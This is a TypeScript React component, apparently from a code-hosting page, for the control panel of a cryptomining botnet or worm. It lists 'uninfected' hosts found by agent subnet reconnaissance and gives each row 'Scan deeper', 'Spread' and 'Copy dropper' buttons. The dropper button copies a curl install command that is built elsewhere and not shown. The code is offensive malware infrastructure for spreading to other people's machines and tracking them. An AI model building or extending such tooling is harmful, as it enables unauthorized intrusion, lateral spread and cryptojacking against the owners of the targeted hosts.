Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Merges agent subnet recon with manual scans, filters by subnet/port, and live-updates via subnet_discovery_update WS.
293 lines
8.9 KiB
TypeScript
293 lines
8.9 KiB
TypeScript
import { memo, useCallback, useEffect, useMemo, useState } from 'react';
|
|
import { Link } from 'react-router-dom';
|
|
import { api } from '../../api/client';
|
|
import type { Agent } from '../../types';
|
|
import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../../types/recon';
|
|
import { HelpTip } from '../HelpTip';
|
|
import { crucibleSpreadLink, curlInstallLine } from '../../help/deployRecon';
|
|
import {
|
|
DEFAULT_DISCOVERY_FILTERS,
|
|
discoveryStatusLabel,
|
|
discoverySubnetOptions,
|
|
filterDiscoveryRows,
|
|
fmtDiscoveryTime,
|
|
manualScanToDiscovery,
|
|
mergeDiscoveryRows,
|
|
parseSubnetDiscoveryUpdate,
|
|
type DiscoveryFilters,
|
|
} from '../../help/fleetDiscoveries';
|
|
import { useWebSocket } from '../../hooks/useWebSocket';
|
|
|
|
function CopyChip({ text, label }: { text: string; label: string }) {
|
|
const [ok, setOk] = useState(false);
|
|
const copy = () => {
|
|
void navigator.clipboard?.writeText(text).then(() => {
|
|
setOk(true);
|
|
setTimeout(() => setOk(false), 1500);
|
|
}).catch(() => {});
|
|
};
|
|
return (
|
|
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
|
{ok ? 'Copied' : label}
|
|
</button>
|
|
);
|
|
}
|
|
|
|
function reporterLabel(row: DiscoveredHostRow, agents: Agent[]): string {
|
|
if (row.source === 'manual') return 'Manual scan';
|
|
if (!row.reporter_agent_id) return '—';
|
|
const agent = agents.find((a) => a.id === row.reporter_agent_id);
|
|
return agent?.name || agent?.hostname || row.reporter_agent_id.slice(0, 8);
|
|
}
|
|
|
|
const DiscoveryRow = memo(function DiscoveryRow({
|
|
row,
|
|
agents,
|
|
serverBase,
|
|
pinnedBuildId,
|
|
onScanDeeper,
|
|
scanningIp,
|
|
}: {
|
|
row: DiscoveredHostRow;
|
|
agents: Agent[];
|
|
serverBase: string;
|
|
pinnedBuildId: string;
|
|
onScanDeeper: (ip: string) => void;
|
|
scanningIp: string;
|
|
}) {
|
|
const dropper = useMemo(
|
|
() => curlInstallLine(serverBase, pinnedBuildId),
|
|
[serverBase, pinnedBuildId],
|
|
);
|
|
const uninfected = row.status === 'uninfected';
|
|
|
|
return (
|
|
<tr data-testid={`dr-discovery-row-${row.ip}`}>
|
|
<td className="dr-disc-ip font-tech">{row.ip}</td>
|
|
<td>
|
|
<div className="dr-disc-ports">
|
|
{row.open_ports.length === 0 ? (
|
|
<span className="dr-disc-port muted">—</span>
|
|
) : (
|
|
row.open_ports.map((p) => (
|
|
<span key={p} className="dr-disc-port open">
|
|
{p}
|
|
</span>
|
|
))
|
|
)}
|
|
</div>
|
|
</td>
|
|
<td className="dr-disc-reporter">{reporterLabel(row, agents)}</td>
|
|
<td className="dr-disc-subnet">{row.subnet_prefix || '—'}</td>
|
|
<td className="dr-disc-seen">{fmtDiscoveryTime(row.last_seen)}</td>
|
|
<td>
|
|
<span
|
|
className={`dr-disc-badge${uninfected ? ' uninfected' : ''}`}
|
|
data-testid={`dr-badge-${row.ip}`}
|
|
>
|
|
{discoveryStatusLabel(row)}
|
|
</span>
|
|
</td>
|
|
<td>
|
|
<div className="dr-disc-actions">
|
|
<button
|
|
type="button"
|
|
className="btn btn-outline btn-sm"
|
|
disabled={scanningIp === row.ip}
|
|
onClick={() => onScanDeeper(row.ip)}
|
|
>
|
|
{scanningIp === row.ip ? 'Scanning…' : 'Scan deeper'}
|
|
</button>
|
|
<Link to={crucibleSpreadLink(row.ip)} className="btn btn-outline btn-sm">
|
|
Spread
|
|
</Link>
|
|
<CopyChip text={dropper} label="Copy dropper" />
|
|
</div>
|
|
</td>
|
|
</tr>
|
|
);
|
|
});
|
|
|
|
export interface FleetDiscoveriesPanelProps {
|
|
manualScans: ReconScanReport[];
|
|
onScanDeeper: (ip: string) => void;
|
|
scanningIp: string;
|
|
serverBase: string;
|
|
pinnedBuildId: string;
|
|
}
|
|
|
|
export default function FleetDiscoveriesPanel({
|
|
manualScans,
|
|
onScanDeeper,
|
|
scanningIp,
|
|
serverBase,
|
|
pinnedBuildId,
|
|
}: FleetDiscoveriesPanelProps) {
|
|
const { latestMessage, agents } = useWebSocket();
|
|
const [agentHosts, setAgentHosts] = useState<DiscoveredHost[]>([]);
|
|
const [loading, setLoading] = useState(true);
|
|
const [apiMissing, setApiMissing] = useState(false);
|
|
const [filters, setFilters] = useState<DiscoveryFilters>(DEFAULT_DISCOVERY_FILTERS);
|
|
|
|
const load = useCallback(async () => {
|
|
try {
|
|
const data = await api.getDiscoveredHosts({ status: 'uninfected' });
|
|
if (!data) {
|
|
setApiMissing(true);
|
|
setAgentHosts([]);
|
|
return;
|
|
}
|
|
setApiMissing(false);
|
|
setAgentHosts(data.hosts ?? []);
|
|
} catch {
|
|
setApiMissing(true);
|
|
} finally {
|
|
setLoading(false);
|
|
}
|
|
}, []);
|
|
|
|
useEffect(() => {
|
|
void load();
|
|
}, [load]);
|
|
|
|
useEffect(() => {
|
|
if (!latestMessage || latestMessage.type !== 'subnet_discovery_update') return;
|
|
const incoming = parseSubnetDiscoveryUpdate(latestMessage.payload);
|
|
if (incoming.length === 0) return;
|
|
setAgentHosts((prev) => {
|
|
const map = new Map(prev.map((h) => [h.ip, h]));
|
|
for (const h of incoming) {
|
|
const old = map.get(h.ip);
|
|
if (!old) {
|
|
map.set(h.ip, h);
|
|
continue;
|
|
}
|
|
map.set(h.ip, {
|
|
...old,
|
|
...h,
|
|
open_ports: [...new Set([...old.open_ports, ...h.open_ports])].sort((a, b) => a - b),
|
|
});
|
|
}
|
|
return [...map.values()];
|
|
});
|
|
setApiMissing(false);
|
|
setLoading(false);
|
|
}, [latestMessage]);
|
|
|
|
const manualHosts = useMemo(
|
|
() => manualScans.map(manualScanToDiscovery),
|
|
[manualScans],
|
|
);
|
|
|
|
const merged = useMemo(
|
|
() => mergeDiscoveryRows(agentHosts, manualHosts),
|
|
[agentHosts, manualHosts],
|
|
);
|
|
|
|
const subnetOptions = useMemo(() => discoverySubnetOptions(merged), [merged]);
|
|
|
|
const filtered = useMemo(
|
|
() => filterDiscoveryRows(merged, filters),
|
|
[merged, filters],
|
|
);
|
|
|
|
return (
|
|
<section className="neon-card dr-fleet-discoveries" aria-label="Fleet discoveries">
|
|
<div className="dr-fleet-head">
|
|
<h2 className="dr-section-title" style={{ margin: 0 }}>
|
|
Fleet discoveries <HelpTip field="dr_fleet_discoveries" />
|
|
</h2>
|
|
<span className="dr-fleet-count" data-testid="dr-discovery-count">
|
|
{filtered.length} uninfected
|
|
</span>
|
|
</div>
|
|
|
|
<div className="dr-fleet-filters">
|
|
<label className="dr-field">
|
|
<span>Subnet <HelpTip field="dr_fleet_subnet_filter" /></span>
|
|
<select
|
|
className="input"
|
|
value={filters.subnet}
|
|
onChange={(e) => setFilters((f) => ({ ...f, subnet: e.target.value }))}
|
|
data-testid="dr-subnet-filter"
|
|
>
|
|
<option value="">All subnets</option>
|
|
{subnetOptions.map((s) => (
|
|
<option key={s} value={s}>
|
|
{s}
|
|
</option>
|
|
))}
|
|
</select>
|
|
</label>
|
|
<label className="dr-field">
|
|
<span>Has port <HelpTip field="dr_fleet_port_filter" /></span>
|
|
<input
|
|
className="input"
|
|
type="number"
|
|
min={1}
|
|
max={65535}
|
|
placeholder="e.g. 22"
|
|
value={filters.port}
|
|
onChange={(e) => setFilters((f) => ({ ...f, port: e.target.value }))}
|
|
data-testid="dr-port-filter"
|
|
/>
|
|
</label>
|
|
<label className="dr-field">
|
|
<span>Sort <HelpTip field="dr_fleet_sort" /></span>
|
|
<select
|
|
className="input"
|
|
value={filters.sort}
|
|
onChange={(e) =>
|
|
setFilters((f) => ({ ...f, sort: e.target.value as DiscoveryFilters['sort'] }))
|
|
}
|
|
data-testid="dr-sort-filter"
|
|
>
|
|
<option value="last_seen_desc">Last seen ↓</option>
|
|
<option value="last_seen_asc">Last seen ↑</option>
|
|
<option value="ip_asc">IP A→Z</option>
|
|
</select>
|
|
</label>
|
|
</div>
|
|
|
|
{loading ? (
|
|
<p className="dr-empty">Loading agent discoveries…</p>
|
|
) : filtered.length === 0 ? (
|
|
<p className="dr-empty" data-testid="dr-discovery-empty">
|
|
{apiMissing && manualHosts.length === 0
|
|
? 'No discoveries yet — run a manual scan or wait for agent subnet recon.'
|
|
: 'No hosts match filters. Try clearing subnet/port filters or run Scan on a target.'}
|
|
</p>
|
|
) : (
|
|
<div className="dr-disc-table-wrap">
|
|
<table className="dr-disc-table" aria-label="Discovered uninfected hosts">
|
|
<thead>
|
|
<tr>
|
|
<th>IP</th>
|
|
<th>Open ports</th>
|
|
<th>Reporter</th>
|
|
<th>Subnet</th>
|
|
<th>Last seen</th>
|
|
<th>Status</th>
|
|
<th>Actions</th>
|
|
</tr>
|
|
</thead>
|
|
<tbody>
|
|
{filtered.map((row) => (
|
|
<DiscoveryRow
|
|
key={row.ip}
|
|
row={row}
|
|
agents={agents}
|
|
serverBase={serverBase}
|
|
pinnedBuildId={pinnedBuildId}
|
|
onScanDeeper={onScanDeeper}
|
|
scanningIp={scanningIp}
|
|
/>
|
|
))}
|
|
</tbody>
|
|
</table>
|
|
</div>
|
|
)}
|
|
</section>
|
|
);
|
|
}
|